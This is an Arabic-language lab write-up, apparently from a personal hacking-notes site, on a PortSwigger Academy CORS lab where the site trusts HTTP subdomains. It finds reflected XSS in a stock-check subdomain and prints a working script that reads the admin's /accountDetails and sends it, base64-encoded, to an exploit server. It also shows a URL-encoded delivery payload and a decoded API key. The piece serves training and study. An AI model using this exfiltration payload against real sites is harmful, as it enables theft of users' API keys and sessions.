> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS مع بروتوكولات غير آمنة موثوقة

### ثغرة CORS مع بروتوكولات غير آمنة موثوقة

يحتوي الموقع على إعداد CORS قابل للاستغلال: إنه يثق بجميع **النطاقات الفرعية**, حتى عند استخدام **HTTP**. الهدف هو استرجاع مفتاح API الخاص بالمسؤول عبر CORS واستخراجه إلى الخادم المُشغِّل.

بيانات الاعتماد المقدَّمة: `wiener:peter`.يحتوي الموقع على إعداد CORS قابل للاستغلال: إنه يثق بجميع **النطاقات الفرعية**, حتى عند استخدام **HTTP**. الهدف هو استرجاع مفتاح API الخاص بالمسؤول عبر CORS واستخراجه إلى الخادم المُشغِّل.

بيانات الاعتماد المقدَّمة: `wiener:peter`.

#### الملاحظات

* يتم قبول النطاق الجذري في **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/79a02d293878b39fb135dfd0f4d142592c2dbec5" alt=""><figcaption></figcaption></figure>

**النطاقات الفرعية** في HTTP تُقبل أيضًا:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/7b8afe982f9304d5341677694e34ccee43945b5d" alt=""><figcaption></figcaption></figure>

تم تحديد النطاق الفرعي عبر stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/ecdc4c64dd0c42e38feff63a7c3ed3e1226bfb8c" alt=""><figcaption></figcaption></figure>

هذا العنصر يعكس `productId` → \*\* يمكن حقن HTML/JS\*\*:

```html
?productId=test&storeId=1
```

<figure><img src="/files/d7d5fb383ba9670c2979dd08fe1b33fb116b6b34" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/80445080b987dece84b60894cea0fbd5b7666bf9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e602deb8653aeb2614fabcc3806c62d1121e6109" alt=""><figcaption></figcaption></figure>

#### الاستغلال: قراءة `/accountDetails` والتسريب

النص البرمجي XHR المستخدم (تم إرساله عبر نطاق فرعي):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

أدرج النص البرمجي في `productId` معامل النطاق الفرعي القابل للاستغلال:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

أعِد التوجيه إلى عنوان URL للاستغلال باستخدام `apiKey` المتغير الذي يحتوي على الاستجابة المُرمَّزة.

<figure><img src="/files/a654111d1c245397a4a3355022ee065e2488998f" alt=""><figcaption></figcaption></figure>

#### الحمولة المرسلة إلى الضحية (نسخة مُرمَّزة بعنوان URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* استقبال مفتاح API على الخادم للاستغلال عبر `apiKey` المعامل.

<figure><img src="/files/29aa31ae5cbcabc0e08a5aa08a2db78d7705b538" alt=""><figcaption></figcaption></figure>

* تم فك الترميز باستخدام:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/d3e645c6d83264e54dcdccb8d0e82c20a4e486bd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
